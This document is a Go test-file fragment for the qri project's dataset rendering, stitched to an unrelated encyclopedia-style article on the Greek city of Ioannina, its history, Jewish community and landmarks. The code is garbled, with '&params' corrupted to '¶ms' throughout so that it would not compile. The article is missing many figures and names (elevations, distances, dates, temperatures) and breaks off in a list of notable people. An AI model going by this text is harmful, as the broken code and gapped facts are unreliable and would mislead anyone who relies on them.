"github.com/qri-io/qri/repo"
testrepo "github.com/qri-io/qri/repo/test"
)
// renderTestRunner holds state to make it easier to run tests
type renderTestRunner struct {
Node *p2p.QriNode
Repo repo.Repo
Instance *Instance
Context context.Context
ContextDone func()
TsFunc func() time.Time
}
// newRenderTestRunner returns a test runner for render
func newRenderTestRunner(t *testing.T, testName string) *renderTestRunner {
ctx, done := context.WithCancel(context.Background())
defer done()
r := renderTestRunner{}
r.Context, r.ContextDone = context.WithCancel(context.Background())
// To keep hashes consistent, artificially specify the timestamp by overriding
// the dsfs.Timestamp func
r.TsFunc = dsfs.Timestamp
dsfs.Timestamp = func() time.Time { return time.Time{} }
var err error
r.Repo, err = testrepo.NewTestRepo()
if err != nil {
panic(err)
}
r.Node, err = p2p.NewQriNode(r.Repo, testcfg.DefaultP2PForTesting(), event.NilBus, nil)
if err != nil {
panic(err)
}
r.Instance = NewInstanceFromConfigAndNode(ctx, testcfg.DefaultConfigForTesting(), r.Node)
return &r
}
// Delete cleans up after the test is done
func (r *renderTestRunner) Delete() {
r.ContextDone()
dsfs.Timestamp = r.TsFunc
}
// Save saves a version of the dataset with a body
func (r *renderTestRunner) Save(ref string, ds *dataset.Dataset, bodyPath string) {
params := SaveParams{
Ref: ref,
Dataset: ds,
BodyPath: bodyPath,
}
_, err := r.Instance.Dataset().Save(r.Context, ¶ms)
if err != nil {
panic(err)
}
}
func TestRenderViz(t *testing.T) {
ctx, done := context.WithCancel(context.Background())
defer done()
// set Default Template to something easier to work with, then
// cleanup when test completes
prevDefaultTemplate := base.DefaultTemplate
base.DefaultTemplate = `<html><h1>{{.Peername}}/{{.Name}}</h1></html>`
defer func() { base.DefaultTemplate = prevDefaultTemplate }()
cases := []struct {
description string
params *RenderParams
expect []byte
err string
}{
{"invalid ref",
&RenderParams{
Ref: "foo/invalid_ref",
Selector: "viz",
}, nil, "reference not found"},
{"template override just title",
&RenderParams{
Ref: "me/movies",
Template: []byte("{{ .Meta.Title }}"),
Selector: "viz",
}, []byte("example movie data"), ""},
{"override with invalid template",
&RenderParams{
Ref: "me/movies",
Template: []byte("{{ .BadTemplate }}"),
Selector: "viz",
}, nil, `template: index.html:1:3: executing "index.html" at <.BadTemplate>: can't evaluate field BadTemplate in type *dataset.Dataset`},
{"override with corrupt template",
&RenderParams{
Ref: "me/movies",
Template: []byte("{{ .BadTemplateBooPlzFail"),
Selector: "viz",
}, nil, `parsing template: template: index.html:1: unclosed action`},
{"default template",
&RenderParams{
Ref: "me/movies",
Selector: "viz",
}, []byte("<html><h1>peer/movies</h1></html>"), ""},
{"alternate dataset default template",
&RenderParams{
Ref: "me/sitemap",
Selector: "viz",
}, []byte("<html><h1>peer/sitemap</h1></html>"), ""},
}
tr, err := testrepo.NewTestRepo()
if err != nil {
t.Errorf("error allocating test repo: %s", err.Error())
return
}
node, err := p2p.NewQriNode(tr, testcfg.DefaultP2PForTesting(), event.NilBus, nil)
if err != nil {
t.Fatal(err.Error())
}
inst := NewInstanceFromConfigAndNode(ctx, testcfg.DefaultConfigForTesting(), node)
for i, c := range cases {
got, err := inst.Dataset().Render(ctx, c.params)
if !(err == nil && c.err == "" || err != nil && err.Error() == c.err) {
t.Errorf("case %d %s error mismatch. expected: '%s', got: '%s'", i, c.description, c.err, err)
return
}
if diff := cmp.Diff(string(got), string(c.expect)); diff != "" {
t.Errorf("case %d result mismatch. (-want +got):\n%s", i, c.description)
}
}
}
// Test that render with a readme returns an html string
func TestRenderReadme(t *testing.T) {
runner := newRenderTestRunner(t, "render_readme")
defer runner.Delete()
ctx := context.TODO()
runner.Save(
"me/my_dataset",
&dataset.Dataset{
Readme: &dataset.Readme{
Text: "# hi\n\nhello\n",
},
},
"testdata/jobs_by_automation/body.csv")
params := RenderParams{
Ref: "peer/my_dataset",
Format: "html",
Selector: "readme",
}
text, err := runner.Instance.Dataset().Render(ctx, ¶ms)
if err != nil {
t.Fatal(err)
}
expect := "<h1>hi</h1>\n\n<p>hello</p>\n"
if diff := cmp.Diff(expect, string(text)); diff != "" {
t.Errorf("response mismatch (-want +got):\n%s", diff)
}
params = RenderParams{
Dataset: &dataset.Dataset{
Readme: &dataset.Readme{
Text: "# hi\n\nhello",
},
},
Selector: "readme",
}
text, err = runner.Instance.Dataset().Render(ctx, ¶ms)
if err != nil {
t.Errorf("dynamic dataset render error: %s", err)
}
if diff := cmp.Diff(expect, string(text)); diff != "" {
t.Errorf("dynamic dataset render response mismatch (-want +got):\n%s", diff)
}
params = RenderParams{
Ref: "foo/bar",
Dataset: &dataset.Dataset{
Readme: &dataset.Readme{
Text: "# hi\n\nhello",
},
},
Selector: "readme",
}
text, err = runner.Instance.Dataset().Render(ctx, ¶ms)
if err == nil {
t.Errorf("expected RenderReadme with both ref & dataset to error")
}
}
func TestRenderValidationFailure(t *testing.T) {
runner := newRenderTestRunner(t, "render_readme")
defer runner.Delete()
params := RenderParams{
Ref: "peer/my_dataset",
Dataset: &dataset.Dataset{},
Format: "html",
Selector: "viz",
}
_, err := runner.Instance.Dataset().Render(runner.Context, ¶ms)
if err == nil {
t.Fatal("expected error, got nil")
}
expect := "cannot provide both a reference and a dataset to render"
if diff := cmp.Diff(expect, err.Error()); diff != "" {
t.Errorf("err mismatch (-want +got):\n%s", diff)
}
params = RenderParams{}
_, err = runner.Instance.Dataset().Render(runner.Context, ¶ms)
if !errors.Is(dsref.ErrEmptyRef, err) {
t.Errorf("err mismatch, expected %q, got %q", dsref.ErrEmptyRef, err)
}
params = RenderParams{
Ref: "peer/my_dataset",
}
_, err = runner.Instance.Dataset().Render(runner.Context, ¶ms)
if err == nil {
t.Fatal("expected error, got nil")
}
expect = "selector must be one of 'viz' or 'readme'"
if diff := cmp.Diff(expect, err.Error()); diff != "" {
t.Errorf("err mismatch (-want +got):\n%s", diff)
}
}
```
|
Ioannina ( ), often called Yannena ( ) within Greece, is the capital and largest city of the Ioannina regional unit and of Epirus, an administrative region in north-western Greece. According to the 2011 census, the city population was 65,574, while the municipality had 112,486 inhabitants. Ten years later, the population of the city had seen a minor increase to 113,978 inhabitants. It lies at an elevation of approximately above sea level, on the western shore of Lake Pamvotis (). Ioannina is located northwest of Athens, southwest of Thessaloniki and east of the port of Igoumenitsa on the Ionian Sea.
The city's foundation has traditionally been ascribed to the Byzantine Emperor Justinian in the 6th century AD, but modern archaeological research has uncovered evidence of Hellenistic settlements. Ioannina flourished in the late Byzantine period (13th–15th centuries). It became part of the Despotate of Epirus following the Fourth Crusade and many wealthy Byzantine families fled there following the sack of Constantinople, with the city experiencing great prosperity and considerable autonomy, despite the political turmoils. Ioannina surrendered to the Ottomans in 1430 and until 1868 it was the administrative center of the Pashalik of Yanina. In the period between the 18th and 19th centuries, the city was a major center of the modern Greek Enlightenment. Ioannina was ceded to Greece in 1913 following the Balkan Wars.
The city is also characterized by various green areas and parks, including Molos (Lake Front), Litharitsia Park, Pirsinella Park (Giannotiko Saloni), Suburban Forest. There are two hospitals, the General Hospital of Ioannina "G. Hatzikosta", and the University Hospital of Ioannina. It is also the seat of the University of Ioannina. The city's emblem consists of the portrait of the Byzantine Emperor Justinian crowned by a stylized depiction of the nearby ancient theater of Dodona.
Name
The city's formal name, Ioannina, is probably a corruption of Agioannina or Agioanneia, 'place of St. John', and is said to be linked to the establishment of a monastery dedicated to Saint John the Baptist, around which the later settlement (in the area of the current Ioannina Castle) grew.
According to another theory, the city was named after Ioannina, the daughter of Belisarius, general of the emperor Justinian.
There are two forms of the name in Greek, Ioannina being the formal and historical name, while the colloquial and much more commonly used Υannena or Υannina () represents the vernacular tradition of Demotic Greek. The demotic form also corresponds to those in the neighboring languages (e.g., or , , , ).
History
Antiquity and early Middle Ages
The first indications of human presence in Ioannina basin are dated back to the Paleolithic period (24,000 years ago) as testified by findings in the cavern of Kastritsa. During classical antiquity the basin was inhabited by the Molossians and four of their settlements have been identified there. Despite the extensive destruction suffered in Molossia during the Roman conquest of 167 BC, settlement continued in the basin albeit no longer in an urban pattern.
The exact time of Ioannina's foundation is unknown, but it is commonly identified with an unnamed new, "well-fortified" city, recorded by the historian Procopius as having been built by the Byzantine emperor Justinian I for the inhabitants of ancient Euroia. This view is not supported, however, by any concrete archaeological evidence. Early 21st-century excavations have brought to light fortifications dating to the Hellenistic period, the course of which was largely followed by later reconstruction of the fortress in the Byzantine and Ottoman periods. The identification of the site with one of the ancient cities of Epirus has not yet been possible.
It is not until 879 that the name Ioannina appears for the first time, in the acts of the Fourth Council of Constantinople, which refer to one Zacharias, Bishop of Ioannine, a suffragan of Naupaktos. After the Byzantine conquest of Bulgaria, in 1020 Emperor Basil II subordinated the local bishopric to the Archbishopric of Ohrid. The Greek archaeologist K. Tsoures dated the Byzantine city walls and the northeastern citadel of the Ioannina Castle to the 10th century, with additions in the late 11th century, including the south-eastern citadel, traditionally ascribed to the short-lived occupation of the city by the Normans under the leadership of Bohemond of Taranto in 1082. In a chrysobull to the Venetians in 1198, the city is listed as part of its own province (provincia Joanninorum or Joaninon). In the treaty of partition of the Byzantine lands after the Fourth Crusade, Ioannina was promised to the Venetians, but in the event, it became part of the new state of Epirus, founded by Michael I Komnenos Doukas.
Late Middle Ages (1204–1430)
Under Michael I, the city was enlarged and fortified anew. The Metropolitan of Naupaktos, John Apokaukos, reports how the city was but a "small town", until Michael gathered refugees who had fled Constantinople and other parts of the Empire that fell to the crusaders of the Fourth Crusade, and settled them there, transforming the city into a fortress and "ark of salvation". Despite frictions with local inhabitants who tried in 1232 to expel the refugees, the latter were eventually successfully settled and Ioannina gained in both population and economic and political importance. In the aftermath of the Battle of Pelagonia in 1259, much of Epirus was occupied by the Empire of Nicaea, and Ioannina was placed under siege. Soon, however, the Epirote ruler Michael II Komnenos Doukas, aided by his younger son John I Doukas, managed to recover their capital of Arta and relieve Ioannina, evicting the Nicaeans from Epirus. In or , John I Doukas, now ruler of Thessaly, launched a raid against the city and its environs, and a few years later an army from the restored Byzantine Empire unsuccessfully laid siege to the city. Following the assassination in 1318 of the last native ruler, Thomas I Komnenos Doukas, by his nephew Nicholas Orsini, the city refused to accept the latter and turned to the Byzantines for assistance. On this occasion, Emperor Andronikos II Palaiologos elevated the city to a metropolitan bishopric, and in 1319 issued a chrysobull conceding wide-ranging autonomy and various privileges and exemptions on its inhabitants. A Jewish community is also attested in the city in 1319. In the Epirote revolt of 1337–1338 against Byzantine rule, the city remained loyal to Emperor Andronikos III Palaiologos. Soon afterwards Ioannina fell to the Serb ruler Stephen Dushan and remained part of the Serbian Empire until 1356, when Dushan's half-brother Simeon Uroš was evicted by Nikephoros II Orsini. The attempt of Nikephoros to restore the Epirote state was short-lived as he was killed in the Battle of Achelous against Albanian tribes., but Ioannina was not captured. It thus served as a place of refuge for many Greeks of the region of Vagenetia. In 1366–67 Simeon Uroš, having recovered Epirus and Thessaly, appointed his son-in-law Thomas II Preljubović as the new overlord of Ioannina. Thomas proved a deeply unpopular ruler, but he nonetheless repelled successive attempts by Albanian chieftains including a surprise attack in 1379, whose failure the Ioannites attributed to intervention by their patron saint, Michael.
After Thomas' murder in 1384, the citizens of Ioannina offered their city to Esau de' Buondelmonti, who married Thomas' widow, Maria. Esau recalled those exiled under Thomas and restored the properties confiscated by him. In 1389, Ioannina was besieged by Gjin Bua Shpata, and only with the aid of an Ottoman army was Esau able to repel the Albanians. Despite the ongoing Ottoman expansion and the conflicts between Turks and Albanians in the vicinity of Ioannina, Esau managed to secure a period of peace for the city, especially following his second marriage to Shpata's daughter Irene in . Following Esau's death in 1411, the Ioannites invited the Count palatine of Cephalonia and Zakynthos, Carlo I Tocco, who had already been expanding his domains into Epirus for the last decade, as their new ruler. By 1416 Carlo I Tocco had managed to capture Arta as well, thereby reuniting the core of the old Epirote realm, and received recognition from both the Ottomans and the Byzantine emperor. Ioannina became the summer capital of the Tocco domains, and Carlo I died there in July 1429. His oldest bastard son, Ercole, called on the Ottomans for aid against the legitimate heir, Carlo II Tocco. In 1430 an Ottoman army, fresh from the capture of Thessalonica, appeared before Ioannina. The city surrendered after the Ottoman commander, Sinan Pasha, promised to spare the city and respect its autonomy.
Ottoman period (1430–1913)
Under Ottoman rule, Ioannina remained an administrative centre, as the seat of the Sanjak of Ioannina, and experienced a period of relative stability and prosperity. The first Ottoman tax registers for the city dates to 1564, and records 50 Muslim households and 1,250 Christian ones; another register from 15 years later mentions Jews as well.
In 1611 the city suffered a serious setback as a result of a peasant revolt led by Dionysius the Philosopher, the Metropolitan of Larissa. The Greek inhabitants of the city were unaware of the intent of the fighting as previous successes of Dionysius had depended on the element of surprise. Much confusion ensued as Turks and Christians ended up indiscriminately fighting friend and foe alike. The revolt ended in the abolition of all privileges granted to the Christian inhabitants, who were driven away from the castle area and had to settle around it. From then onwards, Turks and Jews were to be established in the castle area. The School of the Despots at the Church of the Taxiarchs, that had been operating since 1204, was closed. Aslan Pasha also destroyed the monastery of St. John the Baptist within the city walls in 1618 erected in its place the Aslan Pasha Mosque, today housing the Municipal Ethnographic Museum of Ioannina. The Ottoman reprisals in the wake of the revolt included the confiscation of many timars previously granted to Christian sipahis; this began a wave of conversions to Islam by the local gentry, who became the so-called Tourkoyanniotes (Τoυρκογιαννιώτες). The Ottoman traveller Evliya Çelebi, who visited the city in , counted 37 quarters, of which 18 Muslim, 14 Christian, 4 Jewish and 1 Gypsy. He estimated the population at 4,000 hearths.
Center of Greek Enlightenment (17th–18th centuries)
Despite the repression and conversions in the 17th century, and the prominence of the Muslim population in the city's affairs, Ioannina retained its Christian majority throughout Ottoman rule, and the Greek language retained a dominant position; Turkish was spoken by the Ottoman officials and the garrison, and the Albanian inhabitants used Albanian, but the lingua franca and native language of most inhabitants was Greek, including among the Tourkoyanniotes, and was sometimes used by the Ottoman authorities themselves.
The city also soon recovered from the financial effects of the revolt. In the late 17th century Ioannina was a thriving city with respect to population and commercial activity. Evliya Çelebi mentions the presence of 1,900 shops and workshops. The great economic prosperity of the city was followed by remarkable cultural activity. During the 17th and 18th centuries, many important schools were established. Its inhabitants continued their commercial and handicraft activities which allowed them to trade with important European commercial centers, such as Venice and Livorno, where merchants from Ioannina established commercial and banking houses. The Ioannite diaspora was also culturally active: Nikolaos Glykys (in 1670), Nikolaos Sarros (in 1687) and Dimitrios Theodosiou (in 1755) established private printing presses in Venice, responsible for over 1,600 editions of books for circulation in the Ottoman-ruled Greek lands, and Ioannina was the centre through which these books were channeled into Greece. These were significant historical, theological as well as scientific works, including an algebra book funded by the Zosimades brothers, books for use in the schools of Ioannina such as the Arithmetica of Balanos Vasilopoulos, as well as medical books. At the same time these merchants and entrepreneurs maintained close economic and intellectual relations with their birthplace and founded charity and education establishments. These merchants were to be major national benefactors.
Thus the Epiphaniou School was founded in 1647 by a Greek merchant of Ioannite origin resident in Venice, Epiphaneios Igoumenos. The Gioumeios School was founded in 1676 by a benefaction from another wealthy Ioannite Greek from Venice, Emmanuel Goumas. It was renamed Balaneios by its rector, Balanos Vasilopoulos, in 1725. Here worked several notable personalities of the Greek Enlightenment, such as Bessarion Makris, the priests Georgios Sougdouris (1685/7–1725) and Anastasios Papavasileiou (1715–?), the monk Methodios Anthrakites, his student Ioannis Vilaras and Kosmas Balanos. The Balaneios taught philosophy, theology and mathematics. It suffered financially from the dissolution of the Republic of Venice by the French and finally stopped operation in 1820. The school's library, which hosted several manuscripts and epigrams, was also burned the same year following the capture of Ioannina by the troops the Sultan had sent against Ali Pasha. The Maroutses family, also active in Venice, founded the Maroutsaia School, which opened in 1742 and its first director Eugenios Voulgaris championed the study of the physical sciences (physics and chemistry) as well as philosophy and Greek. The Maroutsaia also suffered after the fall of Venice and closed in 1797 to be reopened as the Kaplaneios School thanks to a benefaction from an Ioannite living in Russia, Zoes Kaplanes. Its schoolmaster, Athanasios Psalidas had been a student of Methodios Anthrakites and had also studied in Vienna and in Russia. Psalidas established an important library of thousands of volumes in several languages and laboratories for the study of experimental physics and chemistry that aroused the interest and suspicion of Ali Pasha. The Kaplaneios was burned down along with most of the rest of the city after the entry of the Sultan's armies in 1820. These schools took over the long tradition of the Byzantine era, giving a significant boost to the Greek Enlightenment. "During the 18th century", Neophytos Doukas wrote with some exaggeration, "every author of the Greek world, was either from Ioannina or was a graduate of one of the city's schools."
Ali Pasha's rule (1788–1822)
In 1788 the city became the center of the territory ruled by Ali Pasha, an area that included the entire northwestern part of Greece, southern parts of Albania, Thessaly as well as parts of Euboea and the Peloponnese. The Ottoman-Albanian lord Ali Pasha was one of the most influential personalities of the region in the 18th and 19th centuries. Born in Tepelenë, he maintained diplomatic relations with the most important European leaders of the time and his court became a point of attraction for many of those restless minds who would become major figures of the Greek Revolution (Georgios Karaiskakis, Odysseas Androutsos, Markos Botsaris and others). During this time, however, Ali Pasha committed a number of atrocities against the Greek population of Ioannina, culminating in the sewing up of local women in sacks and drowning them in the nearby lake, this period of his rule coincides with the greatest economic and intellectual prosperity of the city. As a couplet has it "The city was first in arms, money and letters".
When the French scholar François Pouqueville visited the city during the early years of the 19th century, he counted 3,200 homes (2,000 Christian, 1,000 Muslim, 200 Jewish). The efforts of Ali Pasha to break away from the Sublime Porte alarmed the Ottoman government, and in 1820 (the year before the Greek War of Independence began) he was declared guilty of treason and Ioannina was besieged by Turkish troops. Ali Pasha was assassinated in 1822 in the monastery of St Panteleimon on the island of the lake, where he took refuge while waiting to be pardoned by Sultan Mahmud II.
Last Ottoman century (1822–1913)
The Zosimaia was the first significant educational foundation established after the outbreak of the Greek War of Independence (1828). It was financed by a benefaction from the Zosimas brothers and began operating in 1828 and fully probably from 1833. It was a School of Liberal Arts (Greek, Philosophy and Foreign Languages). The mansion of Angeliki Papazoglou became the Papazogleios school for girls as an endowment following her death; it operated until 1905.
In 1869, a great part of Ioannina was destroyed by fire. The marketplace was soon reconstructed according to the plans of the German architect Holz, thanks to the personal interest of Ahmet Rashim Pasha, the local governor. Communities of people from Ioannina living abroad were active in financing the construction of most of the city's churches, schools and other elegant buildings of charitable establishments. The first bank of the Ottoman Empire, the Ottoman Bank, opened its first branch in Greece in Ioannina, which shows the power of the city in world trade in the 19th century. As the 19th century came to a close, signs of national agitation emerged among some parts of the city' s population. In 1877 for example, Albanian leaders sent a memorandum to the Ottoman government demanding, among other things, the establishment of Albanian language schools and various Muslim Albanians of the Vilayet formed in Ioannina a committee which aimed at defending Albanian rights, but it was inactive in general. The Greek population of the region authorized a committee to present to European governments their wish for union with Greece; as a result Dimitrios Chasiotis published a memorandum in Paris in 1879.
According to the Ottoman censuses of 1881–1893, the city and its environs (the central kaza of the Sanjak of Ioannina), had a population comprising 4,759 Muslims, 77,258 Greek Orthodox (including both Greek and Albanian speakers), 3,334 Jews and 207 of foreign nationality. While a number of Turkish-language schools were established at the time, Greek-language education retained its prominent position. Even the city's prominent Muslim families preferred to send their children to well-established Greek institutions, notably the Zosimaia. As a result, the dominance of the Greek language in the city continued: the minutes of the city council were kept in Greek, and the official newspaper, Vilayet, established in 1868, was bilingual in Turkish and Greek.
During the Ottoman period (turcokracy) the religious-linguistic minority of "Turco-yanniotes" (Τουρκογιαννιώτες) existed in Ioannina and neighbouring areas. These were islamized "Yaniotes" (= people from Ioannina), who spoke Greek. There is a limited number of texts written with Greek alphabet in their idiom.
Modern period (since 1913)
Ioannina was incorporated into the Greek state on 21 February 1913 after the Battle of Bizani in the First Balkan War. The day the city came under the control of the Greek forces, aviator Christos Adamidis, a native of the city, landed his Maurice Farman MF.7 biplane in the Town Hall square, to the adulation of an enthusiastic crowd.
Following the Asia Minor Catastrophe (1922) and the Treaty of Lausanne, the Muslim population was exchanged with Greek refugees from Asia Minor. A small Muslim community of Albanian origin continued to live in Ioannina after the exchange, which in 1940 counted 20 families and had decreased to 8 individuals in 1973.
In 1940 during World War II the capture of the city became one of the major objectives of the Italian Army. Nevertheless, the Greek defense in Kalpaki pushed back the invading Italians. In April 1941 Ioannina was intensively bombed by the German forces even during the negotiations that led to the capitulation of the Greek army. During the subsequent Axis occupation of Greece, the city's Jewish community was rounded up by the Germans in 1944 and mostly perished in the concentration camps. On 3 October 1943, the German army murdered in reprisal nearly 100 people in the village of Lingiades, 13 kilometres distant from Ioaninna, in what is known as the Lingiades massacre.
The University of Ioannina was founded in 1970; until then, higher education faculties in the city had been part of the Aristotle University of Thessaloniki.
Jewish community
According to the local Greek scholar Panayiotis Aravantinos, a synagogue destroyed in the 18th century bore an inscription, which dated its foundation in the late 9th century AD. The existing synagogue is located in the old fortified part of the city known as "Kastro", at 16 Ioustinianou street. Its name means "the Old Synagogue". It was constructed in 1829. Its architecture is typical of the Ottoman era, a large building made of stone. The interior of the synagogue is laid out in the Romaniote way: the bimah (where the Torah scrolls are read out during service) is on a raised dais on the western wall, the Aron haKodesh (where the Torah scrolls are kept) is on the eastern wall and at the middle there is a wide interior aisle. The names of the Ioanniote Jews who were killed in the Holocaust are engraved in stone on the walls of the synagogue.
There was a Romaniote Jewish community living in Ioannina before World War II, in addition to a very small number of Sephardi. According to Rae Dalven, 1,950 Jews were living in Ioannina in April 1941. Of these, 1,870 were deported by the Nazis to concentration camps on 25 March 1944, during the final months of German occupation. Almost all of the people deported were murdered on or shortly after 11 April 1944, when the train carrying them reached Auschwitz-Birkenau. Only 181 Ioannina Jews are known to have survived the war, including 112 who survived Auschwitz and 69 who fled to join the resistance leader Napoleon Zervas and the National Republican Greek League (EDES). Approximately 164 of these survivors eventually returned to Ioannina.
As of 2008, the remaining community has shrunk to about 50 mostly elderly people. The Kehila Kedosha Yashan Synagogue remains locked, only opened for visitors on request. Emigrant Romaniotes return every summer and open the old synagogue. The last time a Bar Mitzvah (the Jewish ritual for celebrating the coming of age of a child) was held in the synagogue was in 2000, and was an exceptional event for the community. A monument dedicated to the thousands of Greek Jews who perished during the Holocaust was constructed in the city in a 13th-century Jewish cemetery. In 2003 the memorial was vandalized by unknown anti-Semites. The Jewish cemetery too was repeatedly vandalized in 2009. As a response to the vandalisms, citizens of the city formed an initiative for the protection of the cemetery and organized rallies.
In the municipal election of 2019, independent candidate Moses Elisaf, a 65-year-old doctor, was elected mayor of the city, the first Jewish elected mayor in Greece. Elisaf won 50.3 percent of the vote. Elisaf received 17,789 votes, 235 more than his runoff opponent.
Geography
Ioannina lies at an elevation of approximately above sea level, on the western shore of Lake Pamvotis (). It is located within the Ioannina municipality, and is the capital of Ioannina regional unit and the region of Epirus. Ioannina is located northwest of Athens, southwest of Thessaloniki and east of the port of Igoumenitsa in the Ionian Sea.
The municipality Ioannina has an area of 403.322 km2, the municipal unit Ioannina has an area of 47.440 km2, and the community Ioannina (the city proper) has an area of 17.335 km2.
Districts
The present municipality Ioannina was formed at the 2011 local government reform by the merger of the following 6 former municipalities, that became municipal units (constituent communities in brackets):
Ioannina (Ioannina, Exochi, Marmara, Neochoropoulo, Stavraki)
Anatoli (Anatoli, Bafra, Neokaisareia)
Bizani (Ampeleia, Bizani, Asvestochori, Kontsika, Kosmira, Manoliasa, Pedini)
Ioannina Island (Greek: Nisos Ioanninon)
Pamvotida (Katsikas, Anatoliki, Vasiliki, Dafnoula, Drosochori, Iliokali, Kastritsa, Koutselio, Krapsi, Longades, Mouzakaioi, Platania, Platanas, Charokopi)
Perama (Perama, Amfithea, Kranoula, Krya, Kryovrysi, Ligkiades, Mazia, Perivleptos, Spothoi)
Climate
Ioannina has a hot-summer Mediterranean climate (Csa) in the Köppen climate classification, with somewhat wetter summers than nearby coastal areas, tempered by its inland location and elevation. Summers are typically hot and moderately dry, while winters are wet and colder than on the coast with frequent frosts and occasional snowfall. Ioannina is the wettest city in mainland Greece with over 50,000 inhabitants. The absolute maximum temperature ever recorded was , while the absolute minimum ever recorded was .
Demography
According to the 2021 census the resident population fell by 4.2%. Men constitute 48.9% and women 51.1% of the total population.
Landmarks and sights
Isle of Lake Pamvotis
One of the most notable attractions of Ioannina is the inhabited island of Lake Pamvotis which is simply referred to as Island of Ioannina. The island is a short ferry trip from the mainland and can be reached on small motorboats running on varying frequencies depending on the season. The monastery of St Panteleimon, where Ali Pasha spent his last days waiting for a pardon from the Sultan, is now a museum housing everyday artefacts and relics of his period. There are six monasteries on the island: the monastery of St Nicholas (Ntiliou) or Strategopoulou (11th century), the Monastery of St Nicholas (Spanou) or Philanthropinon (1292), St John the Baptist (1506), Eleousis (1570), St Panteleimon (17th century), and of the Transfiguration of Christ (1851). The monasteries of Strategopoulou and Philanthropinon also functioned as colleges. Alexios Spanos, the monks Proklos and Comnenos, and the Apsarades brothers Theophanis and Nektarios are among those that taught there. The school continued its activities until 1758, when it was superseded by the newer collegial institutions within the city. The island's winding streets are also home to many gift-shops, tavernas, churches and bakeries.
Ioannina Castle
At the south-eastern edge of the town on a rocky peninsula of Lake Pamvotis, the castle was the administrative heart of the Despotate of Epirus, and the Ottoman vilayet. The castle was in constant use until the late Ottoman period and the fortifications underwent several modifications throughout the centuries. The most extensive alterations where conducted during the rule of Ali Pasha and were completed in 1815. Several monuments such as the Byzantine baths, the Ottoman baths, the Ottoman library, and the Soufari Sarai are found within the castle's walls. There are two citadels in the castle. The south-eastern citadel, which bears the name Its Kale (Ιτς Καλέ, from Turkish Iç Kale, 'inner fortress') is where the Fethiye Mosque, the tomb of Ali Pasha, and the Byzantine Museum are located. The north-eastern citadel is dominated by the Aslan Pasha Mosque and also contains a few other monuments dating from the Ottoman period. The old Jewish Synagogue of Ioannina is within the walls of the castle and is one of the oldest and largest buildings of its type surviving in Greece.
The city
Several religious and secular monuments survive from the Ottoman period. In addition to the two mosques surviving within the walls of the castle, two further mosques are preserved outside the walls. The Mosque and Madrassa of Veli Pasha are in the centre of the city, and Kaloutsiani Mosque can be found in the area of the city with the same name. The now derelict "House of the Archbishop", near the football stadium, is the only old mansion that survived the fire of 1820. Some of the notable landmarks in the city centre also date from the late Ottoman period. The municipal clock tower of Ioannina, designed by local architect Periklis Meliritos, was erected in 1905 to celebrate the Jubilee of sultan Abdul Hamid II. The adjacent building houses the VIII Division headquarters. It dates from the late 19th century. Some neoclassical buildings such the post office, the old Zosimaia School, the Papazogleios Weaving School, and the former Commercial School date from the late Ottoman period as do a few arcades in the old commercial centre of the city like Stoa Louli and Stoa Liampei. The churches of the Assumption of the Virgin at Perivleptos, Saint Nicholas of Kopanon and Saint Marina were rebuilt in the 1850s by funds from Nikolaos Zosimas and his brothers on the foundations of previous churches that perished in the great fire of 1820. The Cathedral of St Athanasius was completed in 1933. It was built on the foundations of the previous Orthodox cathedral which was destroyed in the fires of 1820. It is a three-aisled basilica.
Culture
Museums and galleries
Some of the most important museums of the city are within the walls of the castle. The Municipal Ethnographic Museum is hosted in Aslan Pasha Mosque in the north-east citadel. It is divided into three departments, each one representing one of the main communities that inhabited the city: Greek, Ottoman Muslim, and Jewish. The Byzantine Museum is in the south-eastern citadel of the castle. The museum opened in 1995 in order to preserve and present artefacts of the wider region of Epirus covering the period from the 4th to the 19th century. The newest addition to the city's museum, the silversmithing museum, is also in the south-eastern citadel. It is housed in the western bastion of the citadel and outlines the history of the art of silversmithing in Epirus.
Outside the walls of the castle, close to the town centre, one will find the Archaeological Museum of Ioannina. It is in the Litharitsia fortress area. It includes archaeological exhibits documenting the human habitation of Epirus from prehistoric times through the late Roman Period, with special emphasis placed on finds from the Dodona sanctuary. The Municipal Art Gallery of Ioannina (Dimotiki Pinakothiki) is housed in the Pyrsinella neoclassical building dating from around 1890. The gallery's collection displays major modern works of painters and sculptors, collected through purchases and donations from various collectors and artists. This includes about 500 works, paintings, drawings, prints, pictures and sculptures. The Pavlos Vrellis Greek History Museum is south of the city. It is a wax museum which covers events and personalities from Greek history as well as the history of the region and is the result of the personal work of Pavlos Vrellis.
Exhibitions
A digital art exhibition, Plásmata II, was organised by the Onassis Cultural Center in the lakeside of Pamvotis, in the summer of 2023. More than 100,000 people visited the exhibition. It is a new entry for the city and future actions in every area with the help of Onassis Cultural Center.
Education
The University of Ioannina (Greek: Πανεπιστήμιο Ιωαννίνων, Panepistimio Ioanninon) is a university five kilometres southwest of Ioannina. The university was founded in 1964, as a charter of the Aristotle University of Thessaloniki and became an independent university in 1970. Today, the university is one of the leading academic institutions in Greece.
As of 2017, there was a student population of 25,000 enrolled at the university (21,900 at the undergraduate level and 3,200 at the postgraduate level) and 580 faculty members, while teaching is further supplemented by 171 teaching fellows and 132 laboratory staff. The university administrative services are staffed with 420 employees.
Local products
Ioannina is known throughout Greece for its silverwork, with a number of shops selling silver jewelry, bronzeware, and decorative items (serving trays, recreations of shields and swords.)
Hookahs (nargiles, ναργιλές) are sold to tourists as novelty items and vary in size from small (three inches in height) to quite large ( tall).
Cuisine
The area is famous for its spring water from Zagori, sold throughout Greece.
The region of Ioannina is well known for the production of feta cheese.
Ioannina is also famous for its baklava.
Media
Epirus TV1
Ipirotikos Agon, a locally published newspaper
Proinos Logos, a locally published newspaper
Technology hub development
Beginning in the early 2020s, Ioannina has started to evolve into a significant technology hub. The city has attracted technology companies, which have helped to bolster Ioannina's technological capacity and contributed to a new economic trajectory for the city, driving development in this sector.
Additionally, the prefecture has been actively fostering partnerships between Greek and German companies in a bid to further strengthen the local economy and tech ecosystem. A Memorandum of Understanding (MoU) was signed with the Greek-German Chamber, outlining the recovery plan for the region, a move that has been seen as a significant step in boosting technological development in Ioannina.
Consulates
The city hosts consulates from the following countries:
Albania
Belgium
Netherlands
Ioannina compromise
An informal meeting of the foreign ministers of the states of the European Union took place in Ioannina on 27 March 1994, resulting in the Ioannina compromise.
Notable people from Ioannina
Michael Apsaras, 14th century, Greek noble.
Simon Strategopoulos 15th-century, noble and governor of Ioannina.
Epifanios Igoumenos (1568–1648), scholar.
Nikolaos Glykys (1619–1693), merchant and book publisher.
Nikolaos Sarros (1617–1697), book publisher, owner of one of the first Greek printing-houses in Venice
Bessarion Makris (1635–1699), scholar.
